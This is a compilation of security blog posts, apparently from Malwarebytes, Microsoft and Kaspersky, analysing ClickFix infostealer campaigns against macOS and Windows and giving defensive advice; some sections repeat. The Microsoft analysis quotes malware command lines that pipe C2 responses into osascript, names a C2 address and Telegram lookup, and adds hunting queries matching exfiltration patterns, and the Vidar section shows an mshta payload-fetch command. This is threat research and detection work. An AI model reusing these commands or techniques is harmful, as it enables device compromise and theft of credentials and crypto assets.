Last week on Malwarebytes Labs:

• Attackers replaced JDownloader installer downloads with malware
• Meta’s confusing new approach to chat privacy
• Why Malwarebytes blocks some Yahoo Mail redirects
• Fake Claude search results lure Mac users into ClickFix attack
• Deepfake sextortion forces schools to remove student photos from websites
• Texas sued Netflix over claims it secretly collected and sold users’ data
• May 2026 Patch Tuesday: no zero-days but plenty to fix
• 1 in 8 employees have sold company logins or know someone who has
• Stolen Canvas data was “returned” after hacker agreement, Instructure says
• Yarbo responds to robot flaws that could mow down their owners

Stay safe!

Last week on Malwarebytes Labs:

• Attackers replaced JDownloader installer downloads with malware
• Meta’s confusing new approach to chat privacy
• Why Malwarebytes blocks some Yahoo Mail redirects
• Fake Claude search results lure Mac users into ClickFix attack
• Deepfake sextortion forces schools to remove student photos from websites
• Texas sued Netflix over claims it secretly collected and sold users’ data
• May 2026 Patch Tuesday: no zero-days but plenty to fix
• 1 in 8 employees have sold company logins or know someone who has
• Stolen Canvas data was “returned” after hacker agreement, Instructure says
• Yarbo responds to robot flaws that could mow down their owners

Stay safe!

Researchers found that cybercriminals are using sponsored search results and shared Claude chats to lure victims into a typical ClickFix attack to install malware on macOS devices.

ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands that will download malware, usually an infostealer.

The researchers found that when users search for terms like “Claude Mac download,” they may see sponsored Google results that appear to go to the legitimate claude.ai domain.

In reality, the ads resolve to real Claude shared chats, set up to look like official “Claude Code on Mac” or Apple Support guides. Independent research by BleepingComputer found another chat serving the same purpose. The chat instructs victims to open Terminal and paste a base64‑encoded command, which pulls a loader shell script from attacker‑controlled infrastructure and runs it in memory.

The script then profiles the system, pulls down a second-stage payload and runs it through osascript, macOS’s built-in scripting engine. This gives the attacker remote code execution (RCE) without ever dropping a traditional application or binary.

This results in a MacSync‑style payload that harvests browser credentials, cookies, Keychain contents, and crypto wallet data, bundles it, and sends all that information over HTTP to attacker servers.

How to stay safe

Users running macOS Tahoe 26.4 and later will see warnings about possible ClickFix attacks, but other users still have to rely on common sense.

With ClickFix running rampant and inventing new methods all the time, it’s important to stay aware, cautious, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit copy and paste for commands. Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.
  
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
• Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.

Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Researchers found that cybercriminals are using sponsored search results and shared Claude chats to lure victims into a typical ClickFix attack to install malware on macOS devices.

ClickFix is a social engineering method that tricks users into infecting their own device with malware. Users are instructed to run specific commands that will download malware, usually an infostealer.

The researchers found that when users search for terms like “Claude Mac download,” they may see sponsored Google results that appear to go to the legitimate claude.ai domain.

In reality, the ads resolve to real Claude shared chats, set up to look like official “Claude Code on Mac” or Apple Support guides. Independent research by BleepingComputer found another chat serving the same purpose. The chat instructs victims to open Terminal and paste a base64‑encoded command, which pulls a loader shell script from attacker‑controlled infrastructure and runs it in memory.

The script then profiles the system, pulls down a second-stage payload and runs it through osascript, macOS’s built-in scripting engine. This gives the attacker remote code execution (RCE) without ever dropping a traditional application or binary.

This results in a MacSync‑style payload that harvests browser credentials, cookies, Keychain contents, and crypto wallet data, bundles it, and sends all that information over HTTP to attacker servers.

How to stay safe

Users running macOS Tahoe 26.4 and later will see warnings about possible ClickFix attacks, but other users still have to rely on common sense.

With ClickFix running rampant and inventing new methods all the time, it’s important to stay aware, cautious, and protected.

• Slow down. Don’t rush to follow instructions on a webpage or prompt, especially if it asks you to run commands on your device or copy and paste code. Attackers rely on urgency to bypass your critical thinking, so be cautious of pages urging immediate action. Sophisticated ClickFix pages add countdowns, user counters, or other pressure tactics to make you act quickly.
• Avoid running commands or scripts from untrusted sources. Never run code or commands copied from websites, emails, or messages unless you trust the source and understand what the action does.
• Verify instructions independently. If a website tells you to execute a command or perform a technical action, check through official documentation or contact support before proceeding.
• Limit copy and paste for commands. Manually typing commands instead of copy and paste can reduce the risk of unknowingly running malicious payloads hidden in copied text.
• Secure your devices. Use an up-to-date, real-time anti-malware solution with web protection. Malwarebytes blocks connections to unsafe sites like these.
  
• Educate yourself on evolving attack techniques. Understanding that attacks may come from unexpected places helps maintain vigilance. Keep reading our blog!
• Stay away from sponsored ads in search results. Anyone can buy them and make them look legitimate.

Pro tip: The free Malwarebytes Browser Guard extension warns you when a website tries to copy something to your clipboard.

Stop threats before they can do any harm.

Malwarebytes Browser Guard blocks phishing pages and malicious sites automatically. Free, one click to install. Add it to your browser →

Microsoft researchers continue to observe the evolution of an infostealer campaign distributing ClickFix‑style instructions and targeting macOS users. In this recent iteration, threat actors attempt to take advantage of users who are looking for helpful advice on macOS-related issues (for example, optimizing their disk space) in blog sites and other user-driven content platforms by hosting their malicious commands in these sites.

These commands, which are purported to install system utilities, load an infostealing malware like Macsync, Shub Stealer, and AMOS into the targets’ devices instead. The malware then collects and exfiltrates data, including media files, iCloud data and Keychain entries, and cryptocurrency wallet keys. In some campaigns, the malware replaces legitimate cryptocurrency wallet apps with trojanized versions, putting users at an added security risk.  

Prior iterations of this campaign delivered the infostealers through disk image (.dmg) files that required users to manually install an application. This recent activity reflects a shift in tradecraft, where threat actors instruct users to run Terminal commands that leverage native utilities to retrieve remotely hosted content, followed by script‑based loader execution.

Unlike application bundles opened through Finder—which might be subjected to Gatekeeper verification checks such as code signing and notarization—scripts downloaded and launched directly through Terminal (for example, by using osascript or shell interpreters) don’t undergo the same evaluation. This delivery mechanism enables attackers to initiate malware execution through user‑driven command invocation, reducing reliance on traditional application delivery methods and increasing the likelihood of successful execution.

In this blog, we take a look at three campaigns that use this new tradecraft. We also provide mitigation guidance and detection details to help surface this threat.

Activity overview

Initial access

Standalone websites were seen hosting pages that included a Base64-encrypted instruction for end users to run. Some sites present this information in multiple languages. As of this writing, these websites that we’ve observed are either already down or have been reported.

In other instances, content that included instructions leading to malware were observed to be hosted on Craft, a note-taking platform that lets writers and content creators take notes and distribute their content. We’ve observed that pages like macclean[.]craft[.]me were taken down relatively quickly.

Threat actors were also publishing fake troubleshooting posts on the popular blogging site Medium to distribute ClickFix instructions. These posts claim to solve common macOS problems. Blog sites such as macos-disk-space[.]medium[.]com instruct users to “fix” an issue by pasting a command into Terminal. The command then decodes and runs an AppleScript or Bash loader. These blogs were reported and taken down quickly.

We observed three distinct execution paths leveraging different infrastructure. We’re classifying these as a loader install campaign, a script install campaign, and a helper install campaign. In the loader and helper campaigns, we observed that a random seven-digit value (hereinafter referred to as random IDs), was used in data staging, marking the staging folders as /tmp/shub_<random ID> or/tmp/<random ID>.

The underlying goal remains the same in these campaigns: sensitive data collection, persistence, and exfiltration.

The following table summarizes the key differences between the campaigns. We discuss the details of each of these campaigns in the succeeding sections of this blog.

Loader install campaign

Since February 2026, Microsoft researchers have observed a campaign that requests a loader shell from the attacker’s infrastructure using curl once a user copies and runs ClickFix commands using Terminal. It leads to further execution of a second-stage shell script. 

This second shell script is a zsh loader that decodes and decompresses an embedded payload using Base64 and Gzip, respectively. It then executes the payload using eval.

The next-stage script also functions as a macOS reconnaissance and execution ‑control loader that first fingerprints the system by collecting the following information:

• Keyboard locale
• Hostname
• Operating system version
• External IP address

It then builds and sends a JSON object to an attacker‑controlled server containing an event name (loader_requested or cis_blocked) along with this telemetry. It also uses the presence of Russian/CIS keyboard layouts as a deliberate kill switch, reporting a cis_blocked event and stop the execution.

If the system isn’t blocked, the script silently beacons a “loader requested” event and then downloads and executes a remote AppleScript payload directly in memory using osascript.

AppleScript infostealer

This multi-stage macOS AppleScript stealer employs user interaction-based credential capture, conducts broad data collection across browsers, Keychains, messaging applications, wallet artifacts, and user documents, and stages the collected data into a compressed archive for exfiltration to a remote endpoint. The malware further tampers with locally installed applications to intercept sensitive data, establishes persistence through a masqueraded LaunchAgent that mimics legitimate software updates, and maintains remote command execution capabilities by periodically polling a server for instructions, which are executed at runtime.

Data collection:  tmp/shub_<random ID> staging

We observed that the stealer self-identifies as “SHub Stealer” (it writes the marker SHub into its staging directory). It prompts the target user to enter their password, pretending to install a “helper” utility. It then validates the entered password using the command dscl . -authonly <username>. Upon successful validation, it sends a password_obtained event to its C2 infrastructure.

The malware stages collected data under a /tmp/shub_<random ID>/ folder. The collected data includes:

• Browser credentials
• Notes
• Media files
• Telegram data
• Cryptocurrency wallets
• Keychain entries
• iCloud account data

The stealer also collects documents smaller than 2 MB and stages them within a FileGrabber repository located at /tmp/shub_<random ID>/FileGrabber/.

The targeted file types are:

• txt
• pdf
• docx
• wallet
• key
• keys
• doc
• jpeg
• png
• kdbx
• rtf
• jpg
• seed

Once the data collection is complete, data is compressed and exfiltrated. The stealer deletes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Subsequently, the stealer probes the system for the presence of any of the following cryptocurrency wallet applications:

• Electrum
• Coinomi
• Exodus
• Atomic
• Wasabi
• Ledger Live
• Monero
• Bitcoin
• Litecoin
• DashCore
• lectrum_LTC
• Electron_Cash
• Guarda
• Dogecoin
• Trezor_Suite
• Sparrow

When it finds any of these applications, it stages their data for exfiltration.

The stealer was also observed replacing legitimate cryptocurrency wallets apps with attacker-controlled or trojanized ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc/app.zip
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip
• Exodus.app is replaced by appex.zip fetched from <C2 domain>/zxc/appex.zip

These trojanized cryptocurrency wallet applications pose a serious risk to their users who might be unaware of the stealthy compromise and continue to use and transact with them.

Persistence

For persistence, the malware creates an additional script within the newly created ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/ folder.

A malicious implant named GoogleUpdate is configured to RunAtLoad disguised as an agent. Microsoft Defender Antivirus detects this implant as Trojan:MacOS/SuspMalScript.

A new property list (plist), /Library/LaunchAgents/com.google.keystone.agent.plist,is then staged to run this agent.

The executable is then given permission to run with the following command:

Once com.google.keystone.agent.plist loads, it functions as a backdoor-style bot component that registers the infected macOS system with attacker infrastructure at <C2 domain>/api/bot/heartbeat, uniquely identifies the host using a hardware-derived ID, and periodically beacons system metadata such as hostname, operating system version, and external IP address.

The C2 server can return Base64-encoded instructions, which the script decodes and executes locally and deletes traces, enabling remote command execution on demand. This process creates a persistent remote-control channel, where the attacker could push arbitrary shell code to the infected device at any time.

Script install campaign

In April 2026, Microsoft researchers observed an ongoing campaign that runs a heavily obfuscated infostealer when users run it through Terminal.

The attack begins with a social‑engineering instruction containing a Base64‑encoded command.

When decoded, this instruction resolves a one‑line shell pipeline that retrieves a remote script, which is then handed off immediately for execution. By encoding the command and streaming its output directly into the shell, the attacker avoids placing a recognizable payload on disk during the initial stage.

The retrieved script.sh payload is launched directly from the network stream, with no intermediate file written to disk. It’s responsible for establishing persistence and deploying follow-on functionality. It delivers the second-stage Base64 encoded script under a plist staged at ~/Library/LaunchAgent/com.<random name>.plist.

The persisted AppleScript is heavily obfuscated in its original form (character ID concatenation). After decoding, the key logic follows:

This AppleScript functions as a C2 discovery and execution orchestrator for a macOS malware campaign. The AppleScript is used as the control layer and standard Unix tools for network interaction and execution. Its first role is C2 discovery. It iterates over a list of potential server identifiers (for example {0x666[.]info}), constructs candidate URLs (http://<value>/), and probes them using curl with a realistic Chrome macOS user agent and a benign POST body (-d “check”). This connectivity test is performed through the following command:

/usr/bin/curl -s -H “<User-Agent>” -d “check” –connect-timeout 5 –max-time 10 <candidate_url>

If none of the hard‑coded infrastructure responds successfully, the script falls back to Telegram‑based C2 discovery. It fetches a Telegram bot page using curl -s hxxps://t[.]me/ax03bot and extracts a hidden server identifier embedded in an HTML <span dir=”auto”> element using sed. This lets the attacker rotate C2 infrastructure dynamically.

Once a working C2 endpoint is identified, the script moves into execution orchestration. It sends a final POST request to the resolved server containing a transaction ID (txid) and module identifier, then immediately pipes the server response into osascript for execution:

curl -s -X POST <C2_URL> -H “<User-Agent>” -d “<txid>&module” | osascript

This command enables arbitrary AppleScript execution directly from the server, fully in memory, with no payload written to disk. Output and errors are suppressed, and execution only proceeds if all connectivity checks succeed. Overall, this isn’t a simple downloader but a resilient, infrastructure‑aware loader designed to dynamically discover C2 endpoints, evade takedowns, and execute attacker‑controlled AppleScript logic on demand.

We observed data exfiltration to the attacker’s infrastructure on a C2/upload.php endpoint leveraging curl.

Helper install campaign (AMOS)

Starting at the end of January 2026 , another ClickFix campaign relied on an executable file named helper or update to run. In this campaign, once a user ran the encoded ClickFix instructions, a first-stage script decoded a Base64 payload and then decompressed the payload using Gunzip.

The first-stage script led to the retrieval of the second stage-malicious Mach Object (Mach-O) executable into the newly created /tmp/<file name> folder.

In February 2026, this campaign retrieved the payload under a /tmp/update folder.

This malicious executable file has its extended properties removed and is then given permission to run and launch on the victim’s device.

Virtualization detection

The infection chain begins with an AppleScript based stager that uses array subtraction obfuscation to conceal its strings and commands. This stager performs an anti-analysis gate by invoking system_profiler and inspecting both memory and hardware profiles. Specifically, it searches for common virtualization indicators such as QEMU, VMware, and KVM. In addition to explicit hypervisor vendor strings, the script also checks for a set of generic hardware artifacts commonly observed in virtualized or analysis environments, including:

• Chip: Unknown
• Intel Core 2
• Virtual Machine
• VirtualMac

If any of these indicators are present, execution is terminated early, preventing further stages from running.

Data collection and exfiltration

Like the loader install campaign, the stealer prompts the user to enter their password. It validates locally whether the entered password is correct using dscl utility.

After capturing the target user’s password, the malware then focuses on stealing high-value credentials and financial artifacts. It copies macOS Keychain databases, enabling access to stored website passwords, application secrets, and WiFi credentials.

It also collects browser authentication material from Chromium‑based browsers, including saved usernames and passwords, session cookies, autofill data, and browser profile state that can be reused for account takeover. In addition, the script targets cryptocurrency wallets, copying data associated with both browser‑based and desktop wallets. This includes browser extensions such as MetaMask and Phantom, as well as desktop wallets including Exodus and Electrum.

 The stealer compresses collected data into a ZIP file /tmp.out.zip, which is then exfiltrated to a <C2 domain>/contact> endpoint. The stealer removes staging artifacts to reduce forensic evidence.

Wallet exfiltration and trojanization

Similar to the loader campaign, the stealer in the helper also replaces legitimate wallet apps with attackers-controlled ones:

• Ledger Wallet.app is replaced by app.zip fetched from <C2 domain>/zxc.app.zip.
• Trezor suite.app is replaced by apptwo.zip fetched from <C2 domain>/zxc/apptwo.zip

Backdoor deployment and persistence

To maintain long‑term access to infected systems, the helper campaign deploys a multi‑stage persistence mechanism built around two cooperating components: a primary backdoor binary and a lightweight execution wrapper.

Download and execution of the backdoor component (.mainhelper)

The persistence chain begins with the download of a second‑stage backdoor implant named .mainhelper into the current user’s home directory. As shown in Figure 22, the obfuscated AppleScript issues a network retrieval command that fetches this Mach‑O executable from an attacker-controlled endpoint (<C2 domain>/zxc/kito) and writes it as a hidden file under the user profile.

Once it’s given attributes and permissions to run, the /.mainhelper implant joins the compromised device to a C2 endpoint hxxp://45.94.47[.]204/api/. The implant executes tasks from the attacker, providing a remote-control capability to the attacker on the compromised system.

Creation of the execution wrapper (.agent)

In addition to the backdoor binary, the stealer creates a secondary file named .agent, also placed in the user’s home directory. Unlike .mainhelper, .agent isn’t a full implant. Instead, it is a lightweight shell wrapper whose sole purpose is to launch and supervise the .mainhelper process. The script writes the wrapper to disk and configures it so that, if the backdoor process terminates or crashes, .agent relaunches it.

LaunchDaemon installation (com.finder.helper.plist)

After prompting the victim for their macOS password and validating it, the script escalates privileges to establish system-level persistence. It constructs a LaunchDaemon plist, stages the XML content to a temporary file (/tmp/starter), and then writes it to /Library/LaunchDaemons/com.finder.helper.plist.

LaunchDaemon plist staging and loading

LaunchDaemon is configured to run /bin/bash with the path to ~/.agent as its argument, rather than invoking the backdoor binary directly. As shown in Figure 25, the script sets correct ownership, loads the daemon using launchctl, and enables both RunAtLoad and KeepAlive.

As a result, on every system boot, launchd runs the .agent wrapper with root privileges, which in turn ensures that the .mainhelper backdoor process is running.

Mitigation and protection guidance

Apple Xprotect has updated signatures to protect users against this threat. Additionally, in macOS 26.4 and later, Apple has introduced a mitigation that directly addresses the ClickFix delivery mechanism.

When a user attempts to paste a potentially malicious command into Terminal, they will now see the following prompt:

Possible malware, Paste blocked

Your Mac has not been harmed. Scammers often encourage pasting text into Terminal to try and harm your Mac or compromise your privacy. These instructions are commonly offered via websites, chat agents, apps, files, or a phone call.

Organizations can also follow these recommendations to mitigate threats associated with this threat:

• Educate users. Warn them against running instructions from untrusted sources.
• Monitor Terminal usage. Alert on suspicious Terminal or shell sessions spawned by installers or user apps.
• Detect native tool abuse. Flag unusual sequences of macOS utilities (curl, Base64, Gunzip, osascript, and dscl).
• Inspect outbound downloads. Monitor curl activity fetching encoded or compressed payloads from unknown domains.
• Protect credential stores. Detect unauthorized access to keychain items, browser data, SSH keys, and cloud credentials.
• Monitor data staging. Alert on archive creation of sensitive artifacts followed by HTTP POST exfiltration.
• Enable endpoint protection. Ensure macOS endpoint detection and response (EDR) or extended detection and response (XDR) monitors script execution and living‑off‑the‑land behavior.
• Restrict C2 traffic. Block outbound connections to suspicious or newly registered domains.

Microsoft also recommends the following mitigations to reduce the impact of this threat.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown threats.
• Run EDR in block mode so that Microsoft Defender for Endpoint can block malicious artifacts, even when your antivirus does not detect the threat or when Microsoft Defender Antivirus is running in passive mode. EDR in block mode works behind the scenes to remediate malicious artifacts that are detected post-breach.
• Allow investigation and remediation in full automated mode to allow Defender for Endpoint to take immediate action on alerts to resolve breaches, significantly reducing alert volume.
• Turn on tamper protection features to prevent attackers from stopping security services. Combine tamper protection with the DisableLocalAdminMerge setting to mitigate attackers from using local administrator privileges to set antivirus exclusions.

Microsoft Defender detections

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender coordinates detection, prevention, investigation, and response across endpoints, identities, email, and apps to provide integrated protection against attacks like the threat discussed in this blog.

Customers with provisioned access can also use Microsoft Security Copilot in Microsoft Defender to investigate and respond to incidents, hunt for threats, and protect their organization with relevant threat intelligence.

Threat intelligence reports

Microsoft Defender customers can use the following threat analytics reports in the Defender portal (requires license for at least one Defender product) to get the most up-to-date information about the threat actor, malicious activity, and techniques discussed in this blog. These reports provide the intelligence, protection information, and recommended actions to help prevent, mitigate, or respond to associated threats found in customer environments.

Microsoft Defender threat analytics

From ClickFix to code signed: the quiet shift of MacSync Stealer malware.

Microsoft Security Copilot customers can also use the Microsoft Security Copilot integration in Microsoft Defender Threat Intelligence, either in the Security Copilot standalone portal or in the embedded experience in the Microsoft Defender portal to get more information about this threat actor.

Hunting queries

Microsoft Defender

Microsoft Defender customers can run the following queries to find related activity in their networks:

Initial access

//Loader campaign installation
DeviceNetworkEvents
| where InitiatingProcessCommandLine has_any ("loader.sh?build=","payload.applescript?build=")

// Helper campaign installation
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/helper","-o")

//Install of /update install campaign
DeviceFileEvents
| where InitiatingProcessCommandLine  has_all("curl", "/tmp/update","-o")
| where FileName== "update"

Exfiltration to C2 infrastructure

//loader campaign

DeviceProcessEvents
| where ProcessCommandLine has_all("curl", "post","/debug/event", "build_hash")

DeviceProcessEvents
| where ProcessCommandLine  has_all("curl","/tmp","post","-H","-f","build","/gate")
| where not (ProcessCommandLine has_any(".claude/shell-snapshots")) 

//script campaign 

DeviceNetworkEvents
| where InitiatingProcessCommandLine has_all ("curl","-F","txid","zip","max-time")

//helper campaign
DeviceProcessEvents
| where InitiatingProcessCommandLine has_all ("curl","post","-H","user","buildid","cl","cn","/tmp/")

Bot C2 installation and communication

//loader campaign - bot install
DeviceFileEvents
| where InitiatingProcessCommandLine =="base64 -d"
| where FolderPath endswith @"Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate"

//loader campaign – bot communication
DeviceProcessEvents
 | where ProcessCommandLine  has_all("/api/bot/heartbeat","post","curl")

//script campaign second stage execution 
DeviceProcessEvents
 | where ProcessCommandLine  has_all("curl","POST","txid","osascript","bmodule","max-time")

//helper campaign - bot install 

//Alternate query for helper or bot update installation
DeviceFileEvents
| where  InitiatingProcessCommandLine has_all ("curl","zxc","kito")

DeviceProcessEvents
| where InitiatingProcessFileName =="osascript"
| where  ProcessCommandLine  has_all ("sh","echo","-c", "cp","/tmp/starter",".plist")

Indicators of compromise

Domains distributing ClickFix

Loader campaign

Script campaign

Helper campaign

Update campaign infrastructure

Persistence and bot execution

Payloads

File indicators of attack

References

• Fake CleanMyMac site installs SHub Stealer and backdoors crypto wallets. Malwarebytes labs (published 2026-03-06)
• Malvertising Campaign Spreads AMOS ‘malext’ macOS Infostealer via Fake Text-Sharing Ads. gbhackers (published 2026-03-03)
• ClickFix Is Targeting Mac Users Through Google Ads and Fake AI Guides. IzooLogic(published 2026-02-18)
• Phantom in the vault: Obsidian abused to deliver PhantomPulse RAT. elastic security (published 2026-04-13)
• https://www.iru.com/blog/atomic-stealer-amos-returns (published 2026-03-31)

This research is provided by Microsoft Defender Security Research with contributions from Arlette Umuhire Sangwa, Kajhon Soyini, Srinivasan Govindarajan, Michael Melone, and  members of Microsoft Threat Intelligence.

Learn more

• For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.
• To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.
• To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post ClickFix campaign uses fake macOS utilities lures to deliver infostealers appeared first on Microsoft Security Blog.

Even if you keep your crypto assets in a cold wallet and use Apple devices — which enjoy a strong reputation for security — cybercriminals may still find a way to swipe your funds. These bad actors are combining well-known tricks into new attack chains — including baiting victims right inside the App Store.

Crypto-wallet clones

This past March, we discovered phishing apps at the top of the Chinese App Store charts with icons and names mimicking popular crypto-wallet management tools. Because regional restrictions block several official wallet apps from the Chinese App Store, attackers have stepped in to fill the void. They created fake apps using icons similar to the originals and names with intentional typos — likely to bypass App Store moderation and deceive users.

Phishing apps in the App Store appearing in search results for Ledger Wallet (formerly Ledger Live)

Beyond these, we found a number of apps with names and icons that had nothing to do with cryptocurrency. However, their promotional banners claimed they could be used to download and install official wallet apps that are otherwise unavailable in the regional App Store.

Banners on app pages claiming they can be used to download the official TokenPocket app, which is missing from the local App Store

In total, we identified 26 phishing apps mimicking the following popular wallets:

• MetaMask
• Ledger
• Trust Wallet
• Coinbase
• TokenPocket
• imToken
• Bitpie

A few other very similar apps didn’t contain phishing functionality yet, but all signs point to them being linked to the same attackers. It’s likely they plan to add malicious features in future updates.

To get these apps cleared for the App Store, the developers added basic functionality, such as a game, a calculator, or a task planner.

Installing any of these clones is the first step toward losing your crypto assets. While the apps themselves don’t steal cryptocurrency, seed phrases, or passwords, they serve as bait that builds user trust by virtue of being listed on the official App Store. Once installed and launched, however, the app opens a phishing site in the victim’s browser, designed to look like the App Store, which then prompts the user to install a compromised version of the relevant crypto wallet. The attackers have created multiple versions of these malicious modules, each tailored to a specific wallet. You can find a detailed technical breakdown of this attack in our Securelist post.

A victim who falls for the ruse is first prompted to install a provisioning profile, which allows apps to be sideloaded onto an iPhone outside the App Store. The profile is then used to install the malicious app itself.

A fake App Store site prompting the user to install an app masquerading as Ledger Wallet

In the example above, the malware is built on the original Ledger app with integrated Trojan functionality. The app looks identical to the original, but when connected to a hardware wallet, it displays a window requiring a seed phrase, supposedly to restore access. This is not standard procedure: typically, you only need to enter a PIN — never a recovery phrase. If a victim is deceived by the app’s apparent legitimacy and enters their seed phrase, it’s immediately sent to the attackers’ server — granting them full access to the victim’s crypto assets.

Sideloading outside the App Store

A critical component of this scheme involves installing malware on the victim’s iPhone by bypassing the App Store and its verification process. This is executed much like the SparkKitty iOS infostealer we discovered previously. The attackers managed to gain access to the Apple Developer Enterprise Program. For just US$299 a year — and following an interview and corporate verification — this program allows entities to issue their own configuration profiles and apps for direct download to user devices without ever publishing them in the App Store.

To install the app, the victim must first install a configuration profile that enables the malware to be downloaded directly, bypassing the App Store. Note the green verification checkmark

In general, enterprise profiles are designed to allow organizations to deploy internal apps to employees’ devices. These apps don’t require App Store publication and can be installed on an unlimited number of devices. Unfortunately, this feature is often abused. These profiles are frequently used for software that fails to meet Apple’s policies, such as online casinos, pirated mods, and, of course, malware.

This is precisely why the fake site mimicking the Apple Store prompts the user to install a configuration profile before delivering the app signed by that profile.

Stealing cryptocurrency via macOS apps and extensions

Many crypto owners prefer managing their wallets on a computer rather than a smartphone — often choosing Macs for the task. It’s no surprise, then, that most popular macOS infostealers target crypto-wallet data in one way or another. Recently, however, a new malicious tactic has been gaining traction: in addition to stealing saved data, attackers are embedding phishing dialogs directly into legitimate wallet applications already installed on users’ computers. Earlier this year, the MacSync infostealer adopted this functionality. It infiltrates systems via ClickFix attacks: users searching for software are lured to fake sites with fraudulent instructions to install the app by running commands in Terminal. This executes the infostealer, which scrapes passwords and cookies saved in Chrome, chats from popular messengers, and data from browser-based crypto-wallet extensions.

But the most interesting part is what happens next. If the victim already has a legitimate Trezor or Ledger app installed, the infostealer downloads additional modules and… swaps out fragments of the app with its own trojanized code. The malware then re-signs the modified file so that after these “fixes” are made, Gatekeeper (a built-in protection mechanism in macOS) allows the application to run without an additional permission request from the user. While this trick doesn’t always work, it’s effective for simpler apps built on the popular Electron framework.

The trojanized app prompts the user for the seed phrase of their wallet

When the trojanized app is opened, it fakes an error and initiates a “recovery process”, prompting the user for their wallet seed phrase.

Besides MacSync, the developers behind other popular macOS infostealers have adopted this same trojanization approach. We previously detailed a similar mechanism used to compromise Exodus and Bitcoin-Qt wallets.

How to keep your crypto assets safe

Time and again, attackers have proved that no gadget is truly invincible. With so many developers and cryptocurrency users preferring macOS and iOS, threat actors have designed and deployed industrial-scale attacks for both platforms. Staying safe requires in-depth defense backed by skepticism and vigilance.

• Download apps only from trusted sources: either the developer’s official website or their App Store page. Since malware can slip even into official stores, always verify the app’s publisher.
• Check the app’s rating, publication date, and download counter.
• Read the reviews — especially the negative ones. Sort reviews by date to evaluate the latest version. Attackers often start with a perfectly innocent app that earns high ratings before introducing malicious functionality in a later update.
• Never copy and paste commands into your Terminal unless you’re 100% certain what they do. These attacks have become very popular lately, often disguised as installation steps for AI apps like Claude Code or OpenClaw.
• Use a comprehensive security system on all your computers and smartphones. We recommend Kaspersky Premium. This goes a long way to mitigate the risk of visiting phishing sites or installing malicious apps.
• Never enter your seed phrase into a hardware wallet app, on a website, or in a chat. In every scenario, whether migrating to a new wallet, reinstalling apps, or recovering a wallet, the seed phrase should be entered exclusively on the hardware device itself — never in a mobile or desktop app.
• Always verify the recipient’s address on the hardware wallet’s screen to prevent attacks involving address swapping.
• Store your seed phrases in the most secure way possible, such as on a metal plate or in a sealed envelope in a safe deposit box. It’s best not to store them on a computer at all, but if that’s your only option, use a secure, encrypted vault like Kaspersky Password Manager.

Still believe that Apple devices are bulletproof? Think again as you read the following:

• The iPhone — invincible no more: a look at DarkSword and Coruna
• Predator vs. iPhone: the art of invisible surveillance
• Are your Bluetooth headphones spying on you?
• AirBorne: Attacks on Apple devices through vulnerabilities in AirPlay
• Banshee: A stealer targeting macOS users

In recent years, ClickFix and fake CAPTCHA techniques have become a popular way for cybercriminals to distribute malware. Instead of exploiting a technical vulnerability, these attacks rely on convincing people to run malicious commands themselves.

Our researchers have recently detected a campaign that ultimately delivers the Vidar infostealer, using several different infection chains.

One of the methods used in this campaign involves installing a malicious installer delivered through fake CAPTCHA pages hosted on compromised WordPress websites. We detected a number of compromised websites involved in the campaign, located in countries including Italy, France, the United States, the United Kingdom, and Brazil.

What is Vidar?

Vidar is a well-known infostealer malware family designed to harvest sensitive data from infected systems. It typically targets:

• Browser-stored usernames and passwords
• Cryptocurrency wallet information
• Session cookies and authentication tokens
• Autofill data and saved payment information
• Files that may contain sensitive data

Because Vidar loads in memory and communicates with remote command servers, it can quietly collect and exfiltrate data without obvious signs of infection.

Fake CAPTCHA: the never-ending story

When a user visits a compromised website, they may see a screen mimicking Cloudflare’s familiar “Verifying you are human” page.

This technique has been widely used since 2024 and has evolved through numerous variations over time, both in its visual appearance and in the malicious commands that start the infection chain.

The page instructs the visitor to copy and run a malicious command that starts the infection chain, in this case:

mshta https://{compromised website}/challenge/cf

Mshta is a legitimate Windows binary designed to execute Microsoft HTML Application (HTA). Because it is built into Windows, attackers have abused it since the early days of the ClickFix campaigns.

In this case, the command launches a simple obfuscated HTA script, which eventually downloads and installs malware associated with the Vidar infostealer.

HTA-based MSI dropper

The HTA script is the intermediate stage that downloads and runs a malicious MSI installer. An MSI is a Windows installation package normally used to install software, but attackers frequently abuse it to deliver malware.

The script performs several operations:

• The window is resized to 0x0 and moved off-screen, making the application invisible to the user.
• The script terminates if the document.location.href doesn’t start with http.
• The strings are decoded using XOR and a random key.
• Through WMI queries, the script checks for installed antivirus products.
• It creates hidden working folders in a random folder under \AppData\Local to drop the MSI file.
